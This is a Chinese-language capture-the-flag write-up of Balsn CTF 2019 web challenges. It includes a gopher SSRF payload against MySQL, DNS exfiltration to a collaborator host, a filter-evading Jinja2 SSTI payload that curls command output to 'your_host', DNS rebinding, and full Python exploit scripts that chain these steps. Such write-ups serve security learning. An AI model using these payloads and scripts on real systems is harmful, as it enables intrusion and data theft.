Warm up
常见绕过、gopher 打 MySQL、SSRF
一打开题目就能看到源码,稍稍有点混淆,整理一下:
<?php if (($secret = base64_decode(str_rot13("CTygMlOmpz" . "Z9VaSkYzcjMJpvCt==" ))) && highlight_file(__FILE__ ) && (include ("config.php" )) && ($op = @$_GET['op' ]) && (@strlen($op) < 3 && @($op + 8 ) < 'A_A' )) { $_ = @$_GET['Σ>―(#°ω°#)♡→' ]; if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i' , $_) || @strlen(count_chars(strtolower($_), 3 )) > 13 || @strlen($_) > 19 ) { exit ($secret); } else { $ch = curl_init(); @curl_setopt( $ch, CURLOPT_URL, str_repLace( "int" , ":DD" , str_repLace( "%69%6e%74" , "XDDD" , str_repLace( "%2e%2e" , "Q___Q" , str_repLace( ".." , "QAQ" , str_repLace( "%33%33%61" , ">__<" , str_repLace( "%63%3a" , "WTF" , str_repLace( "633a" , ":)" , str_repLace( "433a" , ":(" , str_repLace( "\x63:" , "ggininder" , strtolower(eval ("return $_;" )) ) ) ) ) ) ) ) ) ) ); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true ); @curl_setopt($ch, CURLOPT_TIMEOUT, 1 ); @curl_EXEC($ch); } } else if (@strlen($op) < 4 && @($op + 78 ) < 'A__A' ) { $_ = @$_GET['' ]; if ((strtolower(substr($_, -4 )) === '.php' ) || (strtolower(substr($_, -4 )) === 'php.' ) || (stripos($_, "\"" ) !== FALSE ) || (stripos($_, "\x3e" ) !== FALSE ) || (stripos($_, "\x3c" ) !== FALSE ) || (stripos(strtolower($_), "amp" ) !== FALSE )) die ($secret); else { if (stripos($_, ".." ) !== false ) { die ($secret); } else { if (stripos($_, "\x24" ) !== false ) { die ($secret); } else { print_r(substr(@file_get_contents($_), 0 , 155 )); } } } } else { die ($secret) && system($_GET[0x9487945 ]); }
这段代码并不需要额外配置,却加载了一个 config.php
,有点蹊跷,先读下源代码看看。有两种办法,一是通过 eval
,而是利用 file_get_contents
,后者明显要简单些。这样的后缀检查加个空格就能过。因为读取有长度限制,可直接使用伪协议进行压缩,然后解压即可。
<?php $content = file_get_contents("http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20" ); $idx = stripos($content, "</code>" ) + 7 ; file_put_contents("/tmp/233" , substr($content, $idx)); echo file_get_contents("php://filter/zlib.inflate/resource=/tmp/233" );
得到内容如下
<?php $host = "localhost" ; $user = "admin" ; $pass = "" ; $port = 8787 ; %
看到了这个提示,MySQL 还是空密码,目标就相当明确了,gopher
打 MySQL 即可,file_get_contents
一般打不出 gopher
。那就利用之前的 curl
,这里也有三重限制:
if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i' , $_) || @strlen(count_chars(strtolower($_), 3 )) > 13 || @strlen($_) > 19 ) {
至于第一个正则匹配,取反就行了,都是常见技巧,比如 phpinfo
=> (~%8F%97%8F%96%91%99%90)()
。
gopher
的 payload 都比较长,直接传是不可能的。之前出过很多无参函数的题,常见的手法是通过 getenv
、getallheaders
、get_defined_vars
之类的函数获取参数。由于长度的限制,最好的选择就是 getenv
。
(~%98%9A%8B%9A%91%89)(~%B7%AB%AB%AF%A0%A7) => getenv("HTTP_T")
成功打出请求,接下来继续打 MySQL, Gopherus 生成下 payload。
phpinfo 中能看到是 Windows 的机器,验证一下能不能 DNS 数据外带 ,不然只能当盲注处理了。
(PS:本地实验记得修改 mysql.ini 文件,在 [mysqld] 下加入 secure_file_priv = )
Give MySQL username: admin Give port: 8787 Give query to execute: select load_file(concat('\\\\',version(),'.9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net/a')); Your gopher link is ready to do SSRF : gopher://127.0.0.1:8787/_%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%65%00%00%00%03%73%65%6c%65%63%74%20%6c%6f%61%64%5f%66%69%6c%65%28%63%6f%6e%63%61%74%28%27%5c%5c%5c%5c%27%2c%76%65%72%73%69%6f%6e%28%29%2c%27%2e%39%66%70%30%37%71%32%6e%68%6f%31%76%38%74%6e%36%38%73%7a%6c%73%35%34%64%39%34%66%75%33%6a%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%2f%61%27%29%29%3b%01%00%00%00%01
成功收到请求。
10.3.16-MariaDB.9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net.
继续获取数据:
select load_file (concat ("\\\\" ,substr (hex (group_concat (schema_name)),39 ,68 ),".9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net/a" )) from information_schema.schemata;
接下来就是老套路了,读表名、列名,拿数据。
42616C736E7B337A5F77316E643077735F7068705F6368346C7D => Balsn{3z_w1nd0ws_php_ch4l}
有师傅把上面的过程整合了下,通过 flask 转发,然后就能 sqlmap 一把梭,值得学习,代码如下。
https://movrment.blogspot.com/2019/10/balsn-ctf-2019-web-warmup.html
import requestsclass MySQL () : print "\033[31m" +"For making it work username should not be password protected!!!" + "\033[0m" user = 'admin' encode_user = user.encode("hex" ) user_length = len(user) temp = user_length - 4 length = (chr(0xa3 +temp)).encode("hex" ) dump = length + "00000185a6ff0100000001210000000000000000000000000000000000000000000000" dump += encode_user dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c" dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d" dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c" query = "show databases;" ; auth = dump.replace("\n" ,"" ) def encode (self, s) : a = [s[i:i + 2 ] for i in range(0 , len(s), 2 )] return "gopher://127.0.0.1:8787/_%" + "%" .join(a) def get_payload (self, query) : if (query.strip()!='' ): query = query.encode("hex" ) query_length = '{:06x}' .format((int((len(query) / 2 ) + 1 ))) query_length = query_length.decode('hex' )[::-1 ].encode('hex' ) pay1 = query_length + "0003" + query final = self.encode(self.auth + pay1 + "0100000001" ) return final else : return encode(self.auth) from flask import Flask, render_template, requestimport timeapp = Flask(__name__, template_folder='.' ) @app.route('/') def blind () : username = request.args.get('username' ) url = "http://localhost/gg.php" url = "http://warmup.balsnctf.com/" def n (s) : r = "" for i in s: r += chr(~(ord(i)) & 0xFF ) r = "~{}" .format(r) return r t = '(' + n('getenv' ) + ')(' +n('HTTP_X' ) + ')' x = MySQL().get_payload("select id from (select 1 as id)a where id='{username}';" .format(username=username)) print repr(x) print len(t) try : r = requests.post(url=url, params = { 'op' : '-9' , 'Σ>―(#°ω°#)♡→' : t }, cookies = {"PHPSESSID" : "123" }, headers = {"X" : x}, timeout = 1.5 ) return "1" except : time.sleep(4 ) return "0" return r.content if __name__ == "__main__" : app.run(host='0.0.0.0' , debug=True ) ''' python sqlmap.py -u "http://localhost:5000/?username=*" --technique=T --dbms=mysql --dbs --level 1 --time-sec=2 '''
韩国鱼
DNS rebinding、SSTI、命令执行
题目直接放出了 docker 环境,有个 readflag.c,看来是要执行命令。
<?php ini_set('default_socket_timeout' , 1 ); $waf = array ("@" ,"#" ,"!" ,"$" ,"%" ,"<" , "*" , "'" , "&" , ".." , "localhost" , "file" , "gopher" , "flag" , "information_schema" , "select" , "from" , "sleep" , "user" , "where" , "union" , ".php" , "system" , "access.log" , "passwd" , "cmdline" , "exe" , "fd" , "meta-data" ); $dst = @$_GET['🇰🇷🐟' ]; if (!isset ($dst)) exit ("Forbidden" );$res = @parse_url($dst); $ip = @dns_get_record($res['host' ], DNS_A)[0 ]['ip' ]; if ($res['scheme' ] !== 'http' && $res['scheme' ] !== 'https' ) die ("Error" );if (stripos($res['path' ], "korea" ) === FALSE ) die ("Error" );for ($i = 0 ; $i < count($waf); $i++) if (stripos($dst, $waf[$i]) !== FALSE ) die ("<svg/onload=\"alert('發大財!')\">" .$waf[$i]); sleep(1 ); $dev_ip = "54.87.54.87" ; if ($ip === $dev_ip) { $content = file_get_contents($dst); echo $content; }
另外内网里还跑了一个 flask,这段代码明显有 SSTI。
@app.route('/error_page') def error () : error_status = request.args.get("err" ) err_temp_path = os.path.join('/var/www/flask/' , 'error' , error_status) with open(err_temp_path, "r" ) as f: content = f.read().strip() return render_template_string(sanitize(content))
代码里还很贴心的加入了一个 sleep(1)
,对访问 IP 的限制显然可以通过 DNS rebinding 进行绕过。当服务端通过 dns_get_record
解析时,返回 54.87.54.87
,通过 file_get_contents
访问时,host 被解析成 127.0.0.1
自然就能打到内网。
国内能买到的域名 TTL 基本无法为零,难道需要充钱买新域名吗?
不,有很多现成的平台能用,比如 https://lock.cmpxchg8b.com/rebinder.html。
不过这个是规律性的随机解析,还是要点小运气的 :)
可看到成功进入内网:
要想访问 /error_page
,这还有点小限制
if (stripos($res['path' ], "korea" ) === FALSE ) die ("Error" );
不过在 Flask 里有个特性,//korea/error_page
=> /error_page
,自然就解决了。当然也可以自己写个跳转。
另外还有一点:
>>> import os >>> os.path.join("/var/www/flask", "error", "/etc/passwd") '/etc/passwd'
接下来要做的就是找到一个可控的文件,别忘了前面还跑了个 PHP,那就利用 session.upload_progress
进行上传吧,也是常见的手段。可参考:
https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html
https://www.anquanke.com/post/id/162656
http://wonderkun.cc/index.html/?p=718
https://www.php.net/manual/zh/session.upload-progress.php
我们先看一下 SSTI 如何构造才能进行命令执行。
def sanitize (str) : return str.replace("." , "" ).replace("{{" , "" ) ''' 过滤 {{ => {%%} 过滤 . => {{''['__class__']}} {{''|attr('__class__')}} \x2e getattr ''' {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval' ]('__import__("os").popen("id").read()' ) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} => {% for c in []['__class__' ]['__base__' ]['__subclasses__' ]() %} {% if c['__name__' ] == 'catch_warnings' %} {% for b in c['__init__' ]['__globals__' ]['values' ]() %} {% if b['__class__' ]=={}['__class__' ] %} {% if 'eval' in b['keys' ]() %} {% if b['eval' ]('getattr(__import__("os"),"popen")("curl your_host/`/readflag`")' ) %} {% endif %} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
把 orange 之前 one line php 的 exp 改下就能用了,最终 exp:
import sysimport stringimport requestsfrom multiprocessing.dummy import Pool as ThreadPoolHOST = 'http://koreanfish.balsnctf.com' sess_name = 'iamorange' headers = { 'Connection' : 'close' , 'Cookie' : 'PHPSESSID=' + sess_name } payload = ''' {% for c in []['__class__']['__base__']['__subclasses__']() %} {% if c['__name__'] == 'catch_warnings' %} {% for b in c['__init__']['__globals__']['values']() %} {% if b['__class__']=={}['__class__'] %} {% if 'eval' in b['keys']() %} {% if b['eval']('getattr(__import__("os"),"popen")("curl your_host/`/readflag`")') %} {% endif %} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} ''' def runner1 (i) : data = { 'PHP_SESSION_UPLOAD_PROGRESS' : 'ZZ' + payload + 'Z' } while 1 : fp = open('/etc/passwd' , 'rb' ) r = requests.post(HOST, files={'f' : fp}, data=data, headers=headers) fp.close() print(r.status_code) def runner2 (i) : filename = '/var/lib/php/sessions/sess_' + sess_name while 1 : url = '{}?%F0%9F%87%B0%F0%9F%87%B7%F0%9F%90%9F=http://36573657.7f000001.rbndr.us:5000//korea/error_page%3Ferr={}' .format(HOST, filename) r = requests.get(url, headers=headers) print(r.status_code) if sys.argv[1 ] == '1' : runner = runner1 else : runner = runner2 pool = ThreadPool(32 ) result = pool.map_async( runner, range(32 ) ).get(0xffff )
Donation
ASP.NET, Deserialization, SSRF, Gopher, CRLF Injection
https://github.com/CykuTW/My-CTF-Challenges/tree/master/BalsnCTF-2019/Donation
silhouettes
PHP、imageio 0day
images-and-words
Python 沙盒逃逸
https://github.com/BookGin/my-ctf-challenges/tree/master/balsn-ctf-2019/images-and-words
未完待续